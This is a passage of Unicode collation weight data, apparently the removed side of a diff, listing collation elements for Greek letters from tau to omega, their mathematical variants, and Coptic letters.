-037B  ; [.1F54.0020.0002] # GREEK SMALL REVERSED LUNATE SIGMA SYMBOL
-03FD  ; [.1F54.0020.0008] # GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL
-037D  ; [.1F55.0020.0002] # GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL
-03FF  ; [.1F55.0020.0008] # GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL
-03C4  ; [.1F56.0020.0002] # GREEK SMALL LETTER TAU
-1D6D5 ; [.1F56.0020.0005] # MATHEMATICAL BOLD SMALL TAU
-1D70F ; [.1F56.0020.0005] # MATHEMATICAL ITALIC SMALL TAU
-1D749 ; [.1F56.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL TAU
-1D783 ; [.1F56.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL TAU
-1D7BD ; [.1F56.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL TAU
-03A4  ; [.1F56.0020.0008] # GREEK CAPITAL LETTER TAU
-1D6BB ; [.1F56.0020.000B] # MATHEMATICAL BOLD CAPITAL TAU
-1D6F5 ; [.1F56.0020.000B] # MATHEMATICAL ITALIC CAPITAL TAU
-1D72F ; [.1F56.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL TAU
-1D769 ; [.1F56.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL TAU
-1D7A3 ; [.1F56.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL TAU
-03C5  ; [.1F57.0020.0002] # GREEK SMALL LETTER UPSILON
-1D6D6 ; [.1F57.0020.0005] # MATHEMATICAL BOLD SMALL UPSILON
-1D710 ; [.1F57.0020.0005] # MATHEMATICAL ITALIC SMALL UPSILON
-1D74A ; [.1F57.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL UPSILON
-1D784 ; [.1F57.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL UPSILON
-1D7BE ; [.1F57.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL UPSILON
-03A5  ; [.1F57.0020.0008] # GREEK CAPITAL LETTER UPSILON
-03D2  ; [.1F57.0020.000A] # GREEK UPSILON WITH HOOK SYMBOL
-1D6BC ; [.1F57.0020.000B] # MATHEMATICAL BOLD CAPITAL UPSILON
-1D6F6 ; [.1F57.0020.000B] # MATHEMATICAL ITALIC CAPITAL UPSILON
-1D730 ; [.1F57.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL UPSILON
-1D76A ; [.1F57.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL UPSILON
-1D7A4 ; [.1F57.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL UPSILON
-1F50  ; [.1F57.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER UPSILON WITH PSILI
-1F54  ; [.1F57.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND OXIA
-1F52  ; [.1F57.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND VARIA
-1F56  ; [.1F57.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND PERISPOMENI
-1F51  ; [.1F57.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER UPSILON WITH DASIA
-1F59  ; [.1F57.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA
-1F55  ; [.1F57.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA
-1F5D  ; [.1F57.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA
-1F53  ; [.1F57.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA
-1F5B  ; [.1F57.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA
-1F57  ; [.1F57.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI
-1F5F  ; [.1F57.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI
-03CD  ; [.1F57.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH TONOS
-1F7B  ; [.1F57.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH OXIA
-038E  ; [.1F57.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH TONOS
-1FEB  ; [.1F57.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH OXIA
-03D3  ; [.1F57.0020.000A][.0000.0024.0002] # GREEK UPSILON WITH ACUTE AND HOOK SYMBOL
-1F7A  ; [.1F57.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH VARIA
-1FEA  ; [.1F57.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER UPSILON WITH VARIA
-1FE0  ; [.1F57.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER UPSILON WITH VRACHY
-1FE8  ; [.1F57.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER UPSILON WITH VRACHY
-1FE6  ; [.1F57.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH PERISPOMENI
-03CB  ; [.1F57.0020.0002][.0000.002B.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA
-03AB  ; [.1F57.0020.0008][.0000.002B.0002] # GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA
-03D4  ; [.1F57.0020.000A][.0000.002B.0002] # GREEK UPSILON WITH DIAERESIS AND HOOK SYMBOL
-03B0  ; [.1F57.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS
-1FE3  ; [.1F57.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA
-1FE2  ; [.1F57.0020.0002][.0000.002B.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND VARIA
-1FE7  ; [.1F57.0020.0002][.0000.002B.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND PERISPOMENI
-1FE1  ; [.1F57.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER UPSILON WITH MACRON
-1FE9  ; [.1F57.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER UPSILON WITH MACRON
-03C6  ; [.1F58.0020.0002] # GREEK SMALL LETTER PHI
-03D5  ; [.1F58.0020.0004] # GREEK PHI SYMBOL
-1D6D7 ; [.1F58.0020.0005] # MATHEMATICAL BOLD SMALL PHI
-1D6DF ; [.1F58.0020.0005] # MATHEMATICAL BOLD PHI SYMBOL
-1D711 ; [.1F58.0020.0005] # MATHEMATICAL ITALIC SMALL PHI
-1D719 ; [.1F58.0020.0005] # MATHEMATICAL ITALIC PHI SYMBOL
-1D74B ; [.1F58.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PHI
-1D753 ; [.1F58.0020.0005] # MATHEMATICAL BOLD ITALIC PHI SYMBOL
-1D785 ; [.1F58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PHI
-1D78D ; [.1F58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PHI SYMBOL
-1D7BF ; [.1F58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PHI
-1D7C7 ; [.1F58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PHI SYMBOL
-03A6  ; [.1F58.0020.0008] # GREEK CAPITAL LETTER PHI
-1D6BD ; [.1F58.0020.000B] # MATHEMATICAL BOLD CAPITAL PHI
-1D6F7 ; [.1F58.0020.000B] # MATHEMATICAL ITALIC CAPITAL PHI
-1D731 ; [.1F58.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PHI
-1D76B ; [.1F58.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PHI
-1D7A5 ; [.1F58.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PHI
-1D60  ; [.1F58.0020.0014] # MODIFIER LETTER SMALL GREEK PHI
-1D69  ; [.1F58.0020.0015] # GREEK SUBSCRIPT SMALL LETTER PHI
-03C7  ; [.1F59.0020.0002] # GREEK SMALL LETTER CHI
-1D6D8 ; [.1F59.0020.0005] # MATHEMATICAL BOLD SMALL CHI
-1D712 ; [.1F59.0020.0005] # MATHEMATICAL ITALIC SMALL CHI
-1D74C ; [.1F59.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL CHI
-1D786 ; [.1F59.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL CHI
-1D7C0 ; [.1F59.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL CHI
-03A7  ; [.1F59.0020.0008] # GREEK CAPITAL LETTER CHI
-1D6BE ; [.1F59.0020.000B] # MATHEMATICAL BOLD CAPITAL CHI
-1D6F8 ; [.1F59.0020.000B] # MATHEMATICAL ITALIC CAPITAL CHI
-1D732 ; [.1F59.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL CHI
-1D76C ; [.1F59.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL CHI
-1D7A6 ; [.1F59.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL CHI
-1D61  ; [.1F59.0020.0014] # MODIFIER LETTER SMALL CHI
-1D6A  ; [.1F59.0020.0015] # GREEK SUBSCRIPT SMALL LETTER CHI
-03C8  ; [.1F5A.0020.0002] # GREEK SMALL LETTER PSI
-1D6D9 ; [.1F5A.0020.0005] # MATHEMATICAL BOLD SMALL PSI
-1D713 ; [.1F5A.0020.0005] # MATHEMATICAL ITALIC SMALL PSI
-1D74D ; [.1F5A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PSI
-1D787 ; [.1F5A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PSI
-1D7C1 ; [.1F5A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PSI
-03A8  ; [.1F5A.0020.0008] # GREEK CAPITAL LETTER PSI
-1D6BF ; [.1F5A.0020.000B] # MATHEMATICAL BOLD CAPITAL PSI
-1D6F9 ; [.1F5A.0020.000B] # MATHEMATICAL ITALIC CAPITAL PSI
-1D733 ; [.1F5A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PSI
-1D76D ; [.1F5A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PSI
-1D7A7 ; [.1F5A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PSI
-1D2A  ; [.1F5B.0020.0002] # GREEK LETTER SMALL CAPITAL PSI
-03C9  ; [.1F5C.0020.0002] # GREEK SMALL LETTER OMEGA
-1D6DA ; [.1F5C.0020.0005] # MATHEMATICAL BOLD SMALL OMEGA
-1D714 ; [.1F5C.0020.0005] # MATHEMATICAL ITALIC SMALL OMEGA
-1D74E ; [.1F5C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL OMEGA
-1D788 ; [.1F5C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL OMEGA
-1D7C2 ; [.1F5C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMEGA
-03A9  ; [.1F5C.0020.0008] # GREEK CAPITAL LETTER OMEGA
-2126  ; [.1F5C.0020.0008] # OHM SIGN
-1D6C0 ; [.1F5C.0020.000B] # MATHEMATICAL BOLD CAPITAL OMEGA
-1D6FA ; [.1F5C.0020.000B] # MATHEMATICAL ITALIC CAPITAL OMEGA
-1D734 ; [.1F5C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL OMEGA
-1D76E ; [.1F5C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL OMEGA
-1D7A8 ; [.1F5C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMEGA
-1F60  ; [.1F5C.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER OMEGA WITH PSILI
-1F68  ; [.1F5C.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI
-1F64  ; [.1F5C.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA
-1F6C  ; [.1F5C.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA
-1FA4  ; [.1F5C.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI
-1FAC  ; [.1F5C.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI
-1F62  ; [.1F5C.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA
-1F6A  ; [.1F5C.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA
-1FA2  ; [.1F5C.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI
-1FAA  ; [.1F5C.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI
-1F66  ; [.1F5C.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI
-1F6E  ; [.1F5C.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI
-1FA6  ; [.1F5C.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
-1FAE  ; [.1F5C.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
-1FA0  ; [.1F5C.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI
-1FA8  ; [.1F5C.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI
-1F61  ; [.1F5C.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER OMEGA WITH DASIA
-1F69  ; [.1F5C.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA
-1F65  ; [.1F5C.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA
-1F6D  ; [.1F5C.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA
-1FA5  ; [.1F5C.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI
-1FAD  ; [.1F5C.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI
-1F63  ; [.1F5C.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA
-1F6B  ; [.1F5C.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA
-1FA3  ; [.1F5C.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI
-1FAB  ; [.1F5C.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI
-1F67  ; [.1F5C.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI
-1F6F  ; [.1F5C.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI
-1FA7  ; [.1F5C.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
-1FAF  ; [.1F5C.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
-1FA1  ; [.1F5C.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI
-1FA9  ; [.1F5C.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI
-03CE  ; [.1F5C.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH TONOS
-1F7D  ; [.1F5C.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH OXIA
-038F  ; [.1F5C.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH TONOS
-1FFB  ; [.1F5C.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH OXIA
-1FF4  ; [.1F5C.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI
-1F7C  ; [.1F5C.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH VARIA
-1FFA  ; [.1F5C.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH VARIA
-1FF2  ; [.1F5C.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI
-1FF6  ; [.1F5C.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH PERISPOMENI
-1FF7  ; [.1F5C.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PERISPOMENI AND YPOGEGRAMMENI
-1FF3  ; [.1F5C.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI
-1FFC  ; [.1F5C.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI
-AB65  ; [.1F5D.0020.0002] # GREEK LETTER SMALL CAPITAL OMEGA
-03E1  ; [.1F5E.0020.0002] # GREEK SMALL LETTER SAMPI
-03E0  ; [.1F5E.0020.0008] # GREEK LETTER SAMPI
-0373  ; [.1F5F.0020.0002] # GREEK SMALL LETTER ARCHAIC SAMPI
-0372  ; [.1F5F.0020.0008] # GREEK CAPITAL LETTER ARCHAIC SAMPI
-03F8  ; [.1F60.0020.0002] # GREEK SMALL LETTER SHO
-03F7  ; [.1F60.0020.0008] # GREEK CAPITAL LETTER SHO
-2C81  ; [.1F61.0020.0002] # COPTIC SMALL LETTER ALFA
-2C80  ; [.1F61.0020.0008] # COPTIC CAPITAL LETTER ALFA
-2C83  ; [.1F62.0020.0002] # COPTIC SMALL LETTER VIDA
-2C82  ; [.1F62.0020.0008] # COPTIC CAPITAL LETTER VIDA
-2C85  ; [.1F63.0020.0002] # COPTIC SMALL LETTER GAMMA
-2C84  ; [.1F63.0020.0008] # COPTIC CAPITAL LETTER GAMMA
-2C87  ; [.1F64.0020.0002] # COPTIC SMALL LETTER DALDA
-2C86  ; [.1F64.0020.0008] # COPTIC CAPITAL LETTER DALDA
-2C89  ; [.1F65.0020.0002] # COPTIC SMALL LETTER EIE
-2C88  ; [.1F65.0020.0008] # COPTIC CAPITAL LETTER EIE
-2CB7  ; [.1F66.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC EIE
-2CB6  ; [.1F66.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE
-2C8B  ; [.1F67.0020.0002] # COPTIC SMALL LETTER SOU
-2C8A  ; [.1F67.0020.0008] # COPTIC CAPITAL LETTER SOU
-2C8D  ; [.1F68.0020.0002] # COPTIC SMALL LETTER ZATA
-2C8C  ; [.1F68.0020.0008] # COPTIC CAPITAL LETTER ZATA
-2C8F  ; [.1F69.0020.0002] # COPTIC SMALL LETTER HATE
-2C8E  ; [.1F69.0020.0008] # COPTIC CAPITAL LETTER HATE
-2C91  ; [.1F6A.0020.0002] # COPTIC SMALL LETTER THETHE
-2C90  ; [.1F6A.0020.0008] # COPTIC CAPITAL LETTER THETHE
-2C93  ; [.1F6B.0020.0002] # COPTIC SMALL LETTER IAUDA
-2C92  ; [.1F6B.0020.0008] # COPTIC CAPITAL LETTER IAUDA
-2C95  ; [.1F6C.0020.0002] # COPTIC SMALL LETTER KAPA
-2C94  ; [.1F6C.0020.0008] # COPTIC CAPITAL LETTER KAPA
-2CE4  ; [.1F6C.0020.0004][.1F61.0020.0004][.1F6B.0020.0004] # COPTIC SYMBOL KAI
-2CB9  ; [.1F6D.0020.0002] # COPTIC SMALL LETTER DIALECT-P KAPA
-2CB8  ; [.1F6D.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P KAPA
-2C97  ; [.1F6E.0020.0002] # COPTIC SMALL LETTER LAULA
-2C96  ; [.1F6E.0020.0008] # COPTIC CAPITAL LETTER LAULA
-2C99  ; [.1F6F.0020.0002] # COPTIC SMALL LETTER MI
-2C98  ; [.1F6F.0020.0008] # COPTIC CAPITAL LETTER MI
-2C9B  ; [.1F70.0020.0002] # COPTIC SMALL LETTER NI
-2C9A  ; [.1F70.0020.0008] # COPTIC CAPITAL LETTER NI
-2CBB  ; [.1F71.0020.0002] # COPTIC SMALL LETTER DIALECT-P NI
-2CBA  ; [.1F71.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P NI
-2CBD  ; [.1F72.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC NI
-2CBC  ; [.1F72.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI
-2C9D  ; [.1F73.0020.0002] # COPTIC SMALL LETTER KSI
-2C9C  ; [.1F73.0020.0008] # COPTIC CAPITAL LETTER KSI
-2C9F  ; [.1F74.0020.0002] # COPTIC SMALL LETTER O
-2C9E  ; [.1F74.0020.0008] # COPTIC CAPITAL LETTER O
-2CA1  ; [.1F75.0020.0002] # COPTIC SMALL LETTER PI
-2CA0  ; [.1F75.0020.0008] # COPTIC CAPITAL LETTER PI
-2CA3  ; [.1F76.0020.0002] # COPTIC SMALL LETTER RO
-2CA2  ; [.1F76.0020.0008] # COPTIC CAPITAL LETTER RO
-2CA5  ; [.1F77.0020.0002] # COPTIC SMALL LETTER SIMA
-2CA4  ; [.1F77.0020.0008] # COPTIC CAPITAL LETTER SIMA
-2CA7  ; [.1F78.0020.0002] # COPTIC SMALL LETTER TAU
-2CA6  ; [.1F78.0020.0008] # COPTIC CAPITAL LETTER TAU
-2CA9  ; [.1F79.0020.0002] # COPTIC SMALL LETTER UA
-2CA8  ; [.1F79.0020.0008] # COPTIC CAPITAL LETTER UA
-2CAB  ; [.1F7A.0020.0002] # COPTIC SMALL LETTER FI
-2CAA  ; [.1F7A.0020.0008] # COPTIC CAPITAL LETTER FI
-2CAD  ; [.1F7B.0020.0002] # COPTIC SMALL LETTER KHI
-2CAC  ; [.1F7B.0020.0008] # COPTIC CAPITAL LETTER KHI
-2CAF  ; [.1F7C.0020.0002] # COPTIC SMALL LETTER PSI
-2CAE  ; [.1F7C.0020.0008] # COPTIC CAPITAL LETTER PSI
-2CB1  ; [.1F7D.0020.0002] # COPTIC SMALL LETTER OOU
-2CB0  ; [.1F7D.0020.0008] # COPTIC CAPITAL LETTER OOU
-2CBF  ; [.1F7E.0020.0002] # COPTIC SMALL LETTER OLD COPTIC OOU
-2CBE  ; [.1F7E.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC OOU
-2CC1  ; [.1F7F.0020.0002] # COPTIC SMALL LETTER SAMPI
-2CC0  ; [.1F7F.0020.0008] # COPTIC CAPITAL LETTER SAMPI
-03E3  ; [.1F80.0020.0002] # COPTIC SMALL LETTER SHEI
-03E2  ; [.1F80.0020.0008] # COPTIC CAPITAL LETTER SHEI
-2CEC  ; [.1F81.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI
-2CEB  ; [.1F81.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI
-2CC3  ; [.1F82.0020.0002] # COPTIC SMALL LETTER CROSSED SHEI
-2CC2  ; [.1F82.0020.0008] # COPTIC CAPITAL LETTER CROSSED SHEI
-2CC5  ; [.1F83.0020.0002] # COPTIC SMALL LETTER OLD COPTIC SHEI
-2CC4  ; [.1F83.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC SHEI
-2CC7  ; [.1F84.0020.0002] # COPTIC SMALL LETTER OLD COPTIC ESH
-2CC6  ; [.1F84.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC ESH
-03E5  ; [.1F85.0020.0002] # COPTIC SMALL LETTER FEI
-03E4  ; [.1F85.0020.0008] # COPTIC CAPITAL LETTER FEI
-03E7  ; [.1F86.0020.0002] # COPTIC SMALL LETTER KHEI
-03E6  ; [.1F86.0020.0008] # COPTIC CAPITAL LETTER KHEI
-2CF3  ; [.1F87.0020.0002] # COPTIC SMALL LETTER BOHAIRIC KHEI
-2CF2  ; [.1F87.0020.0008] # COPTIC CAPITAL LETTER BOHAIRIC KHEI
-2CC9  ; [.1F88.0020.0002] # COPTIC SMALL LETTER AKHMIMIC KHEI
-2CC8  ; [.1F88.0020.0008] # COPTIC CAPITAL LETTER AKHMIMIC KHEI
-03E9  ; [.1F89.0020.0002] # COPTIC SMALL LETTER HORI
-03E8  ; [.1F89.0020.0008] # COPTIC CAPITAL LETTER HORI
-2CCB  ; [.1F8A.0020.0002] # COPTIC SMALL LETTER DIALECT-P HORI
-2CCA  ; [.1F8A.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P HORI
-2CCD  ; [.1F8B.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HORI
-2CCC  ; [.1F8B.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HORI
-2CCF  ; [.1F8C.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HA
-2CCE  ; [.1F8C.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HA
-2CD1  ; [.1F8D.0020.0002] # COPTIC SMALL LETTER L-SHAPED HA
-2CD0  ; [.1F8D.0020.0008] # COPTIC CAPITAL LETTER L-SHAPED HA
-2CD3  ; [.1F8E.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HEI
-2CD2  ; [.1F8E.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HEI
-2CD5  ; [.1F8F.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HAT
-2CD4  ; [.1F8F.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HAT
-03EB  ; [.1F90.0020.0002] # COPTIC SMALL LETTER GANGIA
-03EA  ; [.1F90.0020.0008] # COPTIC CAPITAL LETTER GANGIA
-2CEE  ; [.1F91.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA
-2CED  ; [.1F91.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA
-2CD7  ; [.1F92.0020.0002] # COPTIC SMALL LETTER OLD COPTIC GANGIA
-2CD6  ; [.1F92.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC GANGIA
-03ED  ; [.1F93.0020.0002] # COPTIC SMALL LETTER SHIMA
-03EC  ; [.1F93.0020.0008] # COPTIC CAPITAL LETTER SHIMA
-2CD9  ; [.1F94.0020.0002] # COPTIC SMALL LETTER OLD COPTIC DJA
-2CD8  ; [.1F94.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC DJA
-2CDB  ; [.1F95.0020.0002] # COPTIC SMALL LETTER OLD COPTIC SHIMA
-2CDA  ; [.1F95.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC SHIMA
-2CDD  ; [.1F96.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN SHIMA
-2CDC  ; [.1F96.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN SHIMA
-03EF  ; [.1F97.0020.0002] # COPTIC SMALL LETTER DEI
-03EE  ; [.1F97.0020.0008] # COPTIC CAPITAL LETTER DEI
-2CB3  ; [.1F98.0020.0002] # COPTIC SMALL LETTER DIALECT-P ALEF
-2CB2  ; [.1F98.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P ALEF
-2CB5  ; [.1F99.0020.0002] # COPTIC SMALL LETTER OLD COPTIC AIN
-2CB4  ; [.1F99.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC AIN
-2CDF  ; [.1F9A.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN NGI
-2CDE  ; [.1F9A.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN NGI
